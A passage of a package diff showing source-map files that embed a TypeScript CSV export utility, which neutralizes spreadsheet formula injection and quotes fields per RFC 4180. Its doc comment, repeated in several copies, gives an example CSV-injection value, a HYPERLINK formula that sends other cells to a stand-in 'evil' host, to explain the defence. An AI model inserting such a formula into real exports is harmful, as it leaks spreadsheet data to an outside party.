CR is a formula start by the\n     * OWASP list (Excel and Google Sheets read it so; LibreOffice 26.2 evaluated only\n     * `=`), and opening the file evaluates it: a name typed\n     * as `=HYPERLINK(\"https://evil/?d=\"&A1,\"ver\")` turns into a link that exfiltrates\n     * other cells (OWASP \"CSV Injection\"). Measured on LibreOffice 26.2: `=1+2` was\n     * imported as the formula `of:=1+2` with value `3`. The default is the safe one\n     * because the BOM and the `;` delimiter already aim the file at a spreadsheet,\n     * and because the app that exports rarely controls every value in it.\n     *\n     * Text holding a `,`, `;` or TAB is also quoted whatever the delimiter\n     * (#481): a spreadsheet whose list separator is not the file's would otherwise\n     * split the bare field there and could start a cell with `=`. A quoted field is\n     * not split, so the quotes close that path without touching the text —\n     * `x;=1+2` is written `\"x;=1+2\"`.\n     *\n     * Numbers are never prefixed: a `number` cell, or a text field that is only a\n     * number (`\"-5\"`, `\"-1.234,56\"`, `\"+42\"`, `\"1e-7\"`), cannot be a formula, and\n     * neither can a lone `\"-\"`, which is left alone too. Pass\n     * `false` when the file feeds another system's importer rather than a person's\n     * spreadsheet, so the bytes round-trip unchanged and only the delimiter, quotes\n     * and line breaks decide the quoting.\n     */\n    neutralizeFormulas?: boolean;\n}\n\n/** First characters that make a spreadsheet read a field as a formula (OWASP). */\nconst FORMULA_TRIGGER = /^[=+\\-@\\t\\r]/;\n\n/**\n * A text field that is only a number, in either decimal convention.\n *\n * These start with `-` or `+` but cannot be formulas, and prefixing them would\n * turn every negative amount in a report into text.\n */\nconst PLAIN_NUMBER = /^[+-]?(?:\\d+(?:[.,]\\d+)*|\\d*[.,]\\d+)(?:e[+-]?\\d+)?$/i;\n\n/**\n * Neutralize a text field a spreadsheet would evaluate.\n *\n * Two shapes are exempt from the OWASP trigger list: a plain number (see\n * {@link PLAIN_NUMBER}) and a lone `-`, the usual \"no value\" placeholder in a\n * report. A lone operator has no operand, so no spreadsheet can evaluate it, and\n * prefixing it printed `'-` in LibreOffice 26.2 where `-` read as text.\n *\n * Measured on LibreOffice 26.2 headless (`--infilter=\"CSV:59,34,76,1\"`) without\n * the prefix: `=1+2` was a formula; `+55 (11) 99999-9999`, `@maria`, a TAB before\n * `=`, a space before `=` and a quoted newline before `=` all stayed text. The\n * list is kept whole anyway — Excel and Google Sheets read `+`, `-`, `@` and TAB\n * as formula starts, and that is what OWASP's list is for. A space or newline\n * before `=` is not added: it read as text, not as a formula.\n *\n * Only the field start is checked. A `,`, `;` or TAB inside the text does not\n * get a `'` after it: the field is quoted (see {@link escapeField}), a quoted\n * field is not split by a spreadsheet whatever its list separator, and a `'`\n * mid-text would corrupt the value in every spreadsheet for no protection.\n *\n * @param value - The already-stringified field.\n * @returns The field with a leading `'` when it would read as a formula.\n */\nfunction neutralizeFormula(value: string): string {\n    if (value === \"-\" || PLAIN_NUMBER.test(value)) return value;\n    return FORMULA_TRIGGER.test(value) ? `'${value}` : value;\n}\n\n/**\n * Characters a spreadsheet may split a bare field on: either locale's list\n * separator (`,` in en-US, `;` in pt-BR) and TAB, which Excel's import also\n * offers. A file written with one delimiter is routinely opened by a spreadsheet\n * that splits on the other, so text holding any of them is quoted (see\n * {@link escapeField}).\n */\nconst LIST_SEPARATORS = /[,;\\t]/;\n\n/**\n * Quote one field per RFC 4180.\n *\n * A field is quoted when it contains the delimiter, a double quote, or a line\n * break; inside a quoted field, each double quote is doubled. With\n * `guardSeparators`, a text field holding any list separator (`,`, `;`, TAB —\n * see {@link LIST_SEPARATORS}) is quoted as well, whatever the delimiter, so a\n * spreadsheet that splits on the other locale's separator keeps it in one cell\n * (#481). A plain number is left out of that rule: it cannot carry a formula,\n * and `-1.234,56` in a `;` file stays as it was. Fields that need none of this\n * are written bare, which keeps the common file readable.\n *\n * @param value - The already-stringified field.\n * @param delimiter - The separator in use, which decides part of the quoting.\n * @param guardSeparators - Also quote text holding the other list separators;\n *   on whenever formula neutralization is.\n * @returns The field, quoted if it has to be.\n */\nfunction escapeField(value: string, delimiter: string, guardSeparators: boolean): string {\n    const mustQuote =\n        value.includes(delimiter) ||\n        (guardSeparators && LIST_SEPARATORS.test(value) && !PLAIN_NUMBER.test(value)) ||\n        value.includes('\"') ||\n        value.includes(\"\\n\") ||\n        value.includes(\"\\r\");\n    if (!mustQuote) return value;\n    return `\"${value.replaceAll('\"', '\"\"')}\"`;\n}\n\n/**\n * Stringify one cell, keeping the difference between \"no value\" and \"zero\".\n *\n * `null` and `undefined` become an empty field; `0` and `false` are values\n * somebody chose and are written out. Getting this backwards is how an export\n * ends up under-reporting every row that legitimately holds a zero.\n *\n * Text — a string, or anything else stringified — goes through the formula\n * neutralization when it is on; numbers, bigints and booleans never do, since none\n * of them can stringify to a formula.\n *\n * @param value - The raw cell value.\n * @param neutralize - Whether to neutralize a formula-looking text field.\n * @returns The text to write.\n */\nfunction cellText(value: unknown, neutralize: boolean): string {\n    if (value === null || value === undefined) return \"\";\n    if (typeof value === \"number\" || typeof value === \"bigint\" || typeof value === \"boolean\") {\n        return String(value);\n    }\n    if (value instanceof Date) return value.toISOString();\n    return neutralize ? neutralizeFormula(String(value)) : String(value);\n}\n\n/**\n * Serialize rows to CSV text, RFC 4180 style.\n *\n * Rows are separated by `\\r\\n` — the RFC's terminator and the one Excel is least\n * surprised by. Text that a spreadsheet would evaluate as a formula is written\n * with a leading `'` unless `neutralizeFormulas` is `false` (see\n * {@link CsvOptions.neutralizeFormulas}). A row is emitted for the header even when `rows` is empty, so the\n * person who opens the file sees which columns they asked for instead of a blank\n * document.\n *\n * @example\n * const csv = toCsv(users, [\n *     { key: \"name\", header: \"Nome\" },\n *     { key: \"email\", header: \"E-mail\" },\n *     { key: \"plan\", header: \"Plano\", csv: (user) => user.plan.label },\n * ]);\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param options - Delimiter, BOM and formula neutralization.\n * @returns The complete file contents.\n */\nexport function toCsv<T>(\n    rows: readonly T[],\n    columns: readonly CsvColumn<T>[],\n    options: CsvOptions = {},\n): string {\n    const { delimiter = \",\", bom = true, neutralizeFormulas = true } = options;\n\n    const lines = [\n        columns\n            .map((column) =>\n                escapeField(\n                    cellText(column.header, neutralizeFormulas),\n                    delimiter,\n                    neutralizeFormulas,\n                ),\n            )\n            .join(delimiter),\n    ];\n\n    for (const row of rows) {\n        const cells = columns.map((column) => {\n            const raw = column.csv\n                ? column.csv(row)\n                : (row as Record<string, unknown>)[column.key as string];\n            return escapeField(cellText(raw, neutralizeFormulas), delimiter, neutralizeFormulas);\n        });\n        lines.push(cells.join(delimiter));\n    }\n\n    return `${bom ? BOM : \"\"}${lines.join(\"\\r\\n\")}`;\n}\n\n/**\n * Build a CSV and hand it to the user.\n *\n * Goes through {@link shareOrDownloadBlob}, so on a phone it opens the native\n * share sheet and everywhere else it downloads — the same path every other\n * generated artifact in the SDK takes, instead of a fourth hand-rolled `<a\n * download>`.\n *\n * @example\n * await downloadCsv(users, COLUMNS, \"usuarios.csv\");\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param fileName - File name offered to the user. Default `\"export.csv\"`.\n * @param options - Delimiter, BOM and formula neutralization, forwarded to\n *   {@link toCsv}.\n * @returns A promise that resolves once the share or download completes.\n */\nexport async function downloadCsv<T>(\n    rows: readonly T[],\n    columns: readonly CsvColumn<T>[],\n    fileName = \"export.csv\",\n    options: CsvOptions = {},\n): Promise<void> {\n    const blob = new Blob([toCsv(rows, columns, options)], {\n        type: \"text/csv;charset=utf-8\",\n    });\n    await shareOrDownloadBlob(blob, fileName);\n}\n"],"mappings":"A,kDAqBA,IAAME,EAAM,IA4DNC,EAAkB,eAQlBC,EAAe,uDAyBrB,SAASC,EAAkB,EAAuB,CAE9C,OADIC,IAAU,KAAOF,EAAa,KAAKE,CAAK,EAAUA,EAC/CH,EAAgB,KAAKG,CAAK,EAAI,IAAIA,IAAUA,CACvD,CASA,IAAMC,EAAkB,SAoBxB,SAASC,EAAY,EAAe,EAAmB,EAAkC,CAQrF,OANIF,EAAM,SAASG,CAAS,GACvBC,GAAmBH,EAAgB,KAAKD,CAAK,GAAK,CAACF,EAAa,KAAKE,CAAK,GAC3EA,EAAM,SAAS,GAAG,GAClBA,EAAM,SAAS;CAAI,GACnBA,EAAM,SAAS,IAAI,EAEhB,IAAIA,EAAM,WAAW,IAAK,IAAI,EAAE,GADhBA,CAE3B,CAiBA,SAASK,EAAS,EAAgB,EAA6B,CAM3D,OALIL,GAAU,KAAoC,GAC9C,OAAOA,GAAU,UAAY,OAAOA,GAAU,UAAY,OAAOA,GAAU,UACpE,OAAOA,CAAK,EAEnBA,aAAiB,KAAaA,EAAM,YAAY,EAC7CM,EAAaP,EAAkB,OAAOC,CAAK,CAAC,EAAI,OAAOA,CAAK,CACvE,CAwBA,SAAgBO,EACZ,EACA,EACA,EAAsB,CAAC,EACjB,CACN,GAAM,CAAE,YAAY,IAAK,MAAM,GAAM,qBAAqB,IAASC,EAE7DC,EAAQ,CACVC,EACK,IAAK,GACFR,EACIG,EAASM,EAAO,OAAQC,CAAkB,EAC1CT,EACAS,CACJ,CACJ,CAAC,CACA,KAAKT,CAAS,CACvB,EAEA,IAAK,IAAMU,KAAOC,EAAM,CACpB,IAAMC,EAAQL,EAAQ,IAAK,GAIhBR,EAAYG,EAHPM,EAAO,IACbA,EAAO,IAAIE,CAAG,EACbA,EAAgCF,EAAO,KACbC,CAAkB,EAAGT,EAAWS,CAAkB,CACtF,EACDH,EAAM,KAAKM,EAAM,KAAKZ,CAAS,CAAC,CACpC,CAEA,MAAO,GAAGa,EAAMpB,EAAM,KAAKa,EAAM,KAAK;CAAM,GAChD,CAoBA,eAAsBQ,EAClB,EACA,EACA,EAAW,aACX,EAAsB,CAAC,EACV,CACb,IAAMC,EAAO,IAAI,KAAK,CAACX,EAAMO,EAAMJ,EAASF,CAAO,CAAC,EAAG,CACnD,KAAM,wBACV,CAAC,EACD,MAAMd,EAAAA,oBAAoBwB,EAAMC,CAAQ,CAC5C,C"}

package/dist/utils/csv.js.map

@@ -1 +1 @@
-{"version":3,"file":"csv.js","names":[],"sources":["../../src/utils/csv.ts"],"sourcesContent":["/**\n * @tempest-limits param-count — `downloadCsv(rows, columns, \"usuarios.csv\")` reads\n * in the order the sentence does, and its two trailing parameters have defaults,\n * so the common call passes three. Wrapping them in an object would break every\n * caller of a published export for no gain in what the call site says.\n */\n// CSV that survives contact with real data. Every app writes this by hand and\n// every hand-written version gets the same two things wrong: a value containing\n// the delimiter splits the row, and a value containing a quote breaks the quoting\n// it was supposed to be protected by. Both are one-liners in RFC 4180 and neither\n// is obvious until a customer's name has a comma in it.\n\nimport { shareOrDownloadBlob } from \"../share/share-or-download\";\n\n/**\n * Byte order mark, as the character `String.prototype` sees it.\n *\n * Excel on a pt-BR install reads a BOM-less UTF-8 file as Latin-1 and turns\n * every accented name into mojibake. It is three bytes to avoid a support\n * ticket, so it is on by default.\n */\nconst BOM = \"\\uFEFF\";\n\n/** One column of the exported file. */\nexport interface CsvColumn<T> {\n    /** Property of the row this column reads from. Doubles as the column key. */\n    key: keyof T;\n    /** Column heading, written to the first line. */\n    header: string;\n    /**\n     * Value for the file. Defaults to `String(row[key])`, with nullish becoming an\n     * empty field.\n     *\n     * A `DataTableColumn` renders cells to `ReactNode`, which cannot be written to\n     * a text file — a badge or a link would serialize as `[object Object]`. Give\n     * the column this accessor and the export says what the badge said.\n     */\n    csv?: (row: T) => string | number | boolean | null | undefined;\n}\n\n/** Options for {@link toCsv}. */\nexport interface CsvOptions {\n    /**\n     * Field separator. Default `\",\"`.\n     *\n     * Use `\";\"` for Excel on a locale whose decimal separator is the comma —\n     * which is every pt-BR install — otherwise it opens the file in one column.\n     */\n    delimiter?: \",\" | \";\";\n    /** Prefix the output with a UTF-8 BOM. Default `true`. */\n    bom?: boolean;\n    /**\n     * Prefix `'` to every text field that a spreadsheet would read as a formula.\n     * Default `true`.\n     *\n     * A field starting with `=`, `+`, `-`, `@`, TAB or CR is a formula start by the\n     * OWASP list (Excel and Google Sheets read it so; LibreOffice 26.2 evaluated only\n     * `=`), and opening the file evaluates it: a name typed\n     * as `=HYPERLINK(\"https://evil/?d=\"&A1,\"ver\")` turns into a link that exfiltrates\n     * other cells (OWASP \"CSV Injection\"). Measured on LibreOffice 26.2: `=1+2` was\n     * imported as the formula `of:=1+2` with value `3`. The default is the safe one\n     * because the BOM and the `;` delimiter already aim the file at a spreadsheet,\n     * and because the app that exports rarely controls every value in it.\n     *\n     * Text holding a `,`, `;` or TAB is also quoted whatever the delimiter\n     * (#481): a spreadsheet whose list separator is not the file's would otherwise\n     * split the bare field there and could start a cell with `=`. A quoted field is\n     * not split, so the quotes close that path without touching the text —\n     * `x;=1+2` is written `\"x;=1+2\"`.\n     *\n     * Numbers are never prefixed: a `number` cell, or a text field that is only a\n     * number (`\"-5\"`, `\"-1.234,56\"`, `\"+42\"`, `\"1e-7\"`), cannot be a formula, and\n     * neither can a lone `\"-\"`, which is left alone too. Pass\n     * `false` when the file feeds another system's importer rather than a person's\n     * spreadsheet, so the bytes round-trip unchanged and only the delimiter, quotes\n     * and line breaks decide the quoting.\n     */\n    neutralizeFormulas?: boolean;\n}\n\n/** First characters that make a spreadsheet read a field as a formula (OWASP). */\nconst FORMULA_TRIGGER = /^[=+\\-@\\t\\r]/;\n\n/**\n * A text field that is only a number, in either decimal convention.\n *\n * These start with `-` or `+` but cannot be formulas, and prefixing them would\n * turn every negative amount in a report into text.\n */\nconst PLAIN_NUMBER = /^[+-]?(?:\\d+(?:[.,]\\d+)*|\\d*[.,]\\d+)(?:e[+-]?\\d+)?$/i;\n\n/**\n * Neutralize a text field a spreadsheet would evaluate.\n *\n * Two shapes are exempt from the OWASP trigger list: a plain number (see\n * {@link PLAIN_NUMBER}) and a lone `-`, the usual \"no value\" placeholder in a\n * report. A lone operator has no operand, so no spreadsheet can evaluate it, and\n * prefixing it printed `'-` in LibreOffice 26.2 where `-` read as text.\n *\n * Measured on LibreOffice 26.2 headless (`--infilter=\"CSV:59,34,76,1\"`) without\n * the prefix: `=1+2` was a formula; `+55 (11) 99999-9999`, `@maria`, a TAB before\n * `=`, a space before `=` and a quoted newline before `=` all stayed text. The\n * list is kept whole anyway — Excel and Google Sheets read `+`, `-`, `@` and TAB\n * as formula starts, and that is what OWASP's list is for. A space or newline\n * before `=` is not added: it read as text, not as a formula.\n *\n * Only the field start is checked. A `,`, `;` or TAB inside the text does not\n * get a `'` after it: the field is quoted (see {@link escapeField}), a quoted\n * field is not split by a spreadsheet whatever its list separator, and a `'`\n * mid-text would corrupt the value in every spreadsheet for no protection.\n *\n * @param value - The already-stringified field.\n * @returns The field with a leading `'` when it would read as a formula.\n */\nfunction neutralizeFormula(value: string): string {\n    if (value === \"-\" || PLAIN_NUMBER.test(value)) return value;\n    return FORMULA_TRIGGER.test(value) ? `'${value}` : value;\n}\n\n/**\n * Characters a spreadsheet may split a bare field on: either locale's list\n * separator (`,` in en-US, `;` in pt-BR) and TAB, which Excel's import also\n * offers. A file written with one delimiter is routinely opened by a spreadsheet\n * that splits on the other, so text holding any of them is quoted (see\n * {@link escapeField}).\n */\nconst LIST_SEPARATORS = /[,;\\t]/;\n\n/**\n * Quote one field per RFC 4180.\n *\n * A field is quoted when it contains the delimiter, a double quote, or a line\n * break; inside a quoted field, each double quote is doubled. With\n * `guardSeparators`, a text field holding any list separator (`,`, `;`, TAB —\n * see {@link LIST_SEPARATORS}) is quoted as well, whatever the delimiter, so a\n * spreadsheet that splits on the other locale's separator keeps it in one cell\n * (#481). A plain number is left out of that rule: it cannot carry a formula,\n * and `-1.234,56` in a `;` file stays as it was. Fields that need none of this\n * are written bare, which keeps the common file readable.\n *\n * @param value - The already-stringified field.\n * @param delimiter - The separator in use, which decides part of the quoting.\n * @param guardSeparators - Also quote text holding the other list separators;\n *   on whenever formula neutralization is.\n * @returns The field, quoted if it has to be.\n */\nfunction escapeField(value: string, delimiter: string, guardSeparators: boolean): string {\n    const mustQuote =\n        value.includes(delimiter) ||\n        (guardSeparators && LIST_SEPARATORS.test(value) && !PLAIN_NUMBER.test(value)) ||\n        value.includes('\"') ||\n        value.includes(\"\\n\") ||\n        value.includes(\"\\r\");\n    if (!mustQuote) return value;\n    return `\"${value.replaceAll('\"', '\"\"')}\"`;\n}\n\n/**\n * Stringify one cell, keeping the difference between \"no value\" and \"zero\".\n *\n * `null` and `undefined` become an empty field; `0` and `false` are values\n * somebody chose and are written out. Getting this backwards is how an export\n * ends up under-reporting every row that legitimately holds a zero.\n *\n * Text — a string, or anything else stringified — goes through the formula\n * neutralization when it is on; numbers, bigints and booleans never do, since none\n * of them can stringify to a formula.\n *\n * @param value - The raw cell value.\n * @param neutralize - Whether to neutralize a formula-looking text field.\n * @returns The text to write.\n */\nfunction cellText(value: unknown, neutralize: boolean): string {\n    if (value === null || value === undefined) return \"\";\n    if (typeof value === \"number\" || typeof value === \"bigint\" || typeof value === \"boolean\") {\n        return String(value);\n    }\n    if (value instanceof Date) return value.toISOString();\n    return neutralize ? neutralizeFormula(String(value)) : String(value);\n}\n\n/**\n * Serialize rows to CSV text, RFC 4180 style.\n *\n * Rows are separated by `\\r\\n` — the RFC's terminator and the one Excel is least\n * surprised by. Text that a spreadsheet would evaluate as a formula is written\n * with a leading `'` unless `neutralizeFormulas` is `false` (see\n * {@link CsvOptions.neutralizeFormulas}). A row is emitted for the header even when `rows` is empty, so the\n * person who opens the file sees which columns they asked for instead of a blank\n * document.\n *\n * @example\n * const csv = toCsv(users, [\n *     { key: \"name\", header: \"Nome\" },\n *     { key: \"email\", header: \"E-mail\" },\n *     { key: \"plan\", header: \"Plano\", csv: (user) => user.plan.label },\n * ]);\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param options - Delimiter, BOM and formula neutralization.\n * @returns The complete file contents.\n */\nexport function toCsv<T>(\n    rows: readonly T[],\n    columns: readonly CsvColumn<T>[],\n    options: CsvOptions = {},\n): string {\n    const { delimiter = \",\", bom = true, neutralizeFormulas = true } = options;\n\n    const lines = [\n        columns\n            .map((column) =>\n                escapeField(\n                    cellText(column.header, neutralizeFormulas),\n                    delimiter,\n                    neutralizeFormulas,\n                ),\n            )\n            .join(delimiter),\n    ];\n\n    for (const row of rows) {\n        const cells = columns.map((column) => {\n            const raw = column.csv\n                ? column.csv(row)\n                : (row as Record<string, unknown>)[column.key as string];\n            return escapeField(cellText(raw, neutralizeFormulas), delimiter, neutralizeFormulas);\n        });\n        lines.push(cells.join(delimiter));\n    }\n\n    return `${bom ? BOM : \"\"}${lines.join(\"\\r\\n\")}`;\n}\n\n/**\n * Build a CSV and hand it to the user.\n *\n * Goes through {@link shareOrDownloadBlob}, so on a phone it opens the native\n * share sheet and everywhere else it downloads — the same path every other\n * generated artifact in the SDK takes, instead of a fourth hand-rolled `<a\n * download>`.\n *\n * @example\n * await downloadCsv(users, COLUMNS, \"usuarios.csv\");\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param fileName - File name offered to the user. Default `\"export.csv\"`.\n * @param options - Delimiter, BOM and formula neutralization, forwarded to\n *   {@link toCsv}.\n * @returns A promise that resolves once the share or download completes.\n */\nexport async function downloadCsv<T>(\n    rows: readonly T[],\n    columns: readonly CsvColumn<T>[],\n    fileName = \"export.csv\",\n    options: CsvOptions = {},\n): Promise<void> {\n    const blob = new Blob([toCsv(rows, columns, options)], {\n        type: \"text/csv;charset=utf-8\",\n    });\n    await shareOrDownloadBlob(blob, fileName);\n}\n"],"mappings":";;AAqBA,IAAM,IAAM,KA4DN,IAAkB,gBAQlB,IAAe;AAyBrB,SAAS,EAAkB,GAAuB;CAE9C,OADI,MAAU,OAAO,EAAa,KAAK,CAAK,IAAU,IAC/C,EAAgB,KAAK,CAAK,IAAI,IAAI,MAAU;AACvD;AASA,IAAM,IAAkB;AAoBxB,SAAS,EAAY,GAAe,GAAmB,GAAkC;CAQrF,OANI,EAAM,SAAS,CAAS,KACvB,KAAmB,EAAgB,KAAK,CAAK,KAAK,CAAC,EAAa,KAAK,CAAK,KAC3E,EAAM,SAAS,IAAG,KAClB,EAAM,SAAS,IAAI,KACnB,EAAM,SAAS,IAAI,IAEhB,IAAI,EAAM,WAAW,MAAK,MAAI,EAAE,KADhB;AAE3B;AAiBA,SAAS,EAAS,GAAgB,GAA6B;CAM3D,OALI,KAAU,OAAoC,KAC9C,OAAO,KAAU,YAAY,OAAO,KAAU,YAAY,OAAO,KAAU,YACpE,OAAO,CAAK,IAEnB,aAAiB,OAAa,EAAM,YAAY,IAC7C,IAAa,EAAkB,OAAO,CAAK,CAAC,IAAI,OAAO,CAAK;AACvE;AAwBA,SAAgB,EACZ,GACA,GACA,IAAsB,CAAC,GACjB;CACN,IAAM,EAAE,eAAY,KAAK,SAAM,IAAM,wBAAqB,OAAS,GAE7D,IAAQ,CACV,EACK,KAAK,MACF,EACI,EAAS,EAAO,QAAQ,CAAkB,GAC1C,GACA,CACJ,CACJ,CAAC,CACA,KAAK,CAAS,CACvB;CAEA,KAAK,IAAM,KAAO,GAAM;EACpB,IAAM,IAAQ,EAAQ,KAAK,MAIhB,EAAY,EAHP,EAAO,MACb,EAAO,IAAI,CAAG,IACb,EAAgC,EAAO,MACb,CAAkB,GAAG,GAAW,CAAkB,CACtF;EACD,EAAM,KAAK,EAAM,KAAK,CAAS,CAAC;CACpC;CAEA,OAAO,GAAG,IAAM,IAAM,KAAK,EAAM,KAAK,MAAM;AAChD;AAoBA,eAAsB,EAClB,GACA,GACA,IAAW,cACX,IAAsB,CAAC,GACV;CACb,IAAM,IAAO,IAAI,KAAK,CAAC,EAAM,GAAM,GAAS,CAAO,CAAC,GAAG,EACnD,MAAM,yBACV,CAAC;CACD,MAAM,EAAoB,GAAM,CAAQ;AAC5C"}
+{"version":3,"file":"csv.js","names":["BOM","FORMULA_TRIGGER","PLAIN_NUMBER","neutralizeFormula","value","LIST_SEPARATORS","escapeField","delimiter","guardSeparators","cellText","neutralize","toCsv","options","lines","columns","column","neutralizeFormulas","row","rows","cells","bom","downloadCsv","blob","shareOrDownloadBlob","fileName"],"sources":["../../src/utils/csv.ts"],"sourcesContent":["/**\n * @tempest-limits param-count — `downloadCsv(rows, columns, \"usuarios.csv\")` reads\n * in the order the sentence does, and its two trailing parameters have defaults,\n * so the common call passes three. Wrapping them in an object would break every\n * caller of a published export for no gain in what the call site says.\n */\n// CSV that survives contact with real data. Every app writes this by hand and\n// every hand-written version gets the same two things wrong: a value containing\n// the delimiter splits the row, and a value containing a quote breaks the quoting\n// it was supposed to be protected by. Both are one-liners in RFC 4180 and neither\n// is obvious until a customer's name has a comma in it.\n\nimport { shareOrDownloadBlob } from \"../share/share-or-download\";\n\n/**\n * Byte order mark, as the character `String.prototype` sees it.\n *\n * Excel on a pt-BR install reads a BOM-less UTF-8 file as Latin-1 and turns\n * every accented name into mojibake. It is three bytes to avoid a support\n * ticket, so it is on by default.\n */\nconst BOM = \"\\uFEFF\";\n\n/** One column of the exported file. */\nexport interface CsvColumn<T> {\n    /** Property of the row this column reads from. Doubles as the column key. */\n    key: keyof T;\n    /** Column heading, written to the first line. */\n    header: string;\n    /**\n     * Value for the file. Defaults to `String(row[key])`, with nullish becoming an\n     * empty field.\n     *\n     * A `DataTableColumn` renders cells to `ReactNode`, which cannot be written to\n     * a text file — a badge or a link would serialize as `[object Object]`. Give\n     * the column this accessor and the export says what the badge said.\n     */\n    csv?: (row: T) => string | number | boolean | null | undefined;\n}\n\n/** Options for {@link toCsv}. */\nexport interface CsvOptions {\n    /**\n     * Field separator. Default `\",\"`.\n     *\n     * Use `\";\"` for Excel on a locale whose decimal separator is the comma —\n     * which is every pt-BR install — otherwise it opens the file in one column.\n     */\n    delimiter?: \",\" | \";\";\n    /** Prefix the output with a UTF-8 BOM. Default `true`. */\n    bom?: boolean;\n    /**\n     * Prefix `'` to every text field that a spreadsheet would read as a formula.\n     * Default `true`.\n     *\n     * A field starting with `=`, `+`, `-`, `@`, TAB or CR is a formula start by the\n     * OWASP list (Excel and Google Sheets read it so; LibreOffice 26.2 evaluated only\n     * `=`), and opening the file evaluates it: a name typed\n     * as `=HYPERLINK(\"https://evil/?d=\"&A1,\"ver\")` turns into a link that exfiltrates\n     * other cells (OWASP \"CSV Injection\"). Measured on LibreOffice 26.2: `=1+2` was\n     * imported as the formula `of:=1+2` with value `3`. The default is the safe one\n     * because the BOM and the `;` delimiter already aim the file at a spreadsheet,\n     * and because the app that exports rarely controls every value in it.\n     *\n     * Text holding a `,`, `;` or TAB is also quoted whatever the delimiter\n     * (#481): a spreadsheet whose list separator is not the file's would otherwise\n     * split the bare field there and could start a cell with `=`. A quoted field is\n     * not split, so the quotes close that path without touching the text —\n     * `x;=1+2` is written `\"x;=1+2\"`.\n     *\n     * Numbers are never prefixed: a `number` cell, or a text field that is only a\n     * number (`\"-5\"`, `\"-1.234,56\"`, `\"+42\"`, `\"1e-7\"`), cannot be a formula, and\n     * neither can a lone `\"-\"`, which is left alone too. Pass\n     * `false` when the file feeds another system's importer rather than a person's\n     * spreadsheet, so the bytes round-trip unchanged and only the delimiter, quotes\n     * and line breaks decide the quoting.\n     */\n    neutralizeFormulas?: boolean;\n}\n\n/** First characters that make a spreadsheet read a field as a formula (OWASP). */\nconst FORMULA_TRIGGER = /^[=+\\-@\\t\\r]/;\n\n/**\n * A text field that is only a number, in either decimal convention.\n *\n * These start with `-` or `+` but cannot be formulas, and prefixing them would\n * turn every negative amount in a report into text.\n */\nconst PLAIN_NUMBER = /^[+-]?(?:\\d+(?:[.,]\\d+)*|\\d*[.,]\\d+)(?:e[+-]?\\d+)?$/i;\n\n/**\n * Neutralize a text field a spreadsheet would evaluate.\n *\n * Two shapes are exempt from the OWASP trigger list: a plain number (see\n * {@link PLAIN_NUMBER}) and a lone `-`, the usual \"no value\" placeholder in a\n * report. A lone operator has no operand, so no spreadsheet can evaluate it, and\n * prefixing it printed `'-` in LibreOffice 26.2 where `-` read as text.\n *\n * Measured on LibreOffice 26.2 headless (`--infilter=\"CSV:59,34,76,1\"`) without\n * the prefix: `=1+2` was a formula; `+55 (11) 99999-9999`, `@maria`, a TAB before\n * `=`, a space before `=` and a quoted newline before `=` all stayed text. The\n * list is kept whole anyway — Excel and Google Sheets read `+`, `-`, `@` and TAB\n * as formula starts, and that is what OWASP's list is for. A space or newline\n * before `=` is not added: it read as text, not as a formula.\n *\n * Only the field start is checked. A `,`, `;` or TAB inside the text does not\n * get a `'` after it: the field is quoted (see {@link escapeField}), a quoted\n * field is not split by a spreadsheet whatever its list separator, and a `'`\n * mid-text would corrupt the value in every spreadsheet for no protection.\n *\n * @param value - The already-stringified field.\n * @returns The field with a leading `'` when it would read as a formula.\n */\nfunction neutralizeFormula(value: string): string {\n    if (value === \"-\" || PLAIN_NUMBER.test(value)) return value;\n    return FORMULA_TRIGGER.test(value) ? `'${value}` : value;\n}\n\n/**\n * Characters a spreadsheet may split a bare field on: either locale's list\n * separator (`,` in en-US, `;` in pt-BR) and TAB, which Excel's import also\n * offers. A file written with one delimiter is routinely opened by a spreadsheet\n * that splits on the other, so text holding any of them is quoted (see\n * {@link escapeField}).\n */\nconst LIST_SEPARATORS = /[,;\\t]/;\n\n/**\n * Quote one field per RFC 4180.\n *\n * A field is quoted when it contains the delimiter, a double quote, or a line\n * break; inside a quoted field, each double quote is doubled. With\n * `guardSeparators`, a text field holding any list separator (`,`, `;`, TAB —\n * see {@link LIST_SEPARATORS}) is quoted as well, whatever the delimiter, so a\n * spreadsheet that splits on the other locale's separator keeps it in one cell\n * (#481). A plain number is left out of that rule: it cannot carry a formula,\n * and `-1.234,56` in a `;` file stays as it was. Fields that need none of this\n * are written bare, which keeps the common file readable.\n *\n * @param value - The already-stringified field.\n * @param delimiter - The separator in use, which decides part of the quoting.\n * @param guardSeparators - Also quote text holding the other list separators;\n *   on whenever formula neutralization is.\n * @returns The field, quoted if it has to be.\n */\nfunction escapeField(value: string, delimiter: string, guardSeparators: boolean): string {\n    const mustQuote =\n        value.includes(delimiter) ||\n        (guardSeparators && LIST_SEPARATORS.test(value) && !PLAIN_NUMBER.test(value)) ||\n        value.includes('\"') ||\n        value.includes(\"\\n\") ||\n        value.includes(\"\\r\");\n    if (!mustQuote) return value;\n    return `\"${value.replaceAll('\"', '\"\"')}\"`;\n}\n\n/**\n * Stringify one cell, keeping the difference between \"no value\" and \"zero\".\n *\n * `null` and `undefined` become an empty field; `0` and `false` are values\n * somebody chose and are written out. Getting this backwards is how an export\n * ends up under-reporting every row that legitimately holds a zero.\n *\n * Text — a string, or anything else stringified — goes through the formula\n * neutralization when it is on; numbers, bigints and booleans never do, since none\n * of them can stringify to a formula.\n *\n * @param value - The raw cell value.\n * @param neutralize - Whether to neutralize a formula-looking text field.\n * @returns The text to write.\n */\nfunction cellText(value: unknown, neutralize: boolean): string {\n    if (value === null || value === undefined) return \"\";\n    if (typeof value === \"number\" || typeof value === \"bigint\" || typeof value === \"boolean\") {\n        return String(value);\n    }\n    if (value instanceof Date) return value.toISOString();\n    return neutralize ? neutralizeFormula(String(value)) : String(value);\n}\n\n/**\n * Serialize rows to CSV text, RFC 4180 style.\n *\n * Rows are separated by `\\r\\n` — the RFC's terminator and the one Excel is least\n * surprised by. Text that a spreadsheet would evaluate as a formula is written\n * with a leading `'` unless `neutralizeFormulas` is `false` (see\n * {@link CsvOptions.neutralizeFormulas}). A row is emitted for the header even when `rows` is empty, so the\n * person who opens the file sees which columns they asked for instead of a blank\n * document.\n *\n * @example\n * const csv = toCsv(users, [\n *     { key: \"name\", header: \"Nome\" },\n *     { key: \"email\", header: \"E-mail\" },\n *     { key: \"plan\", header: 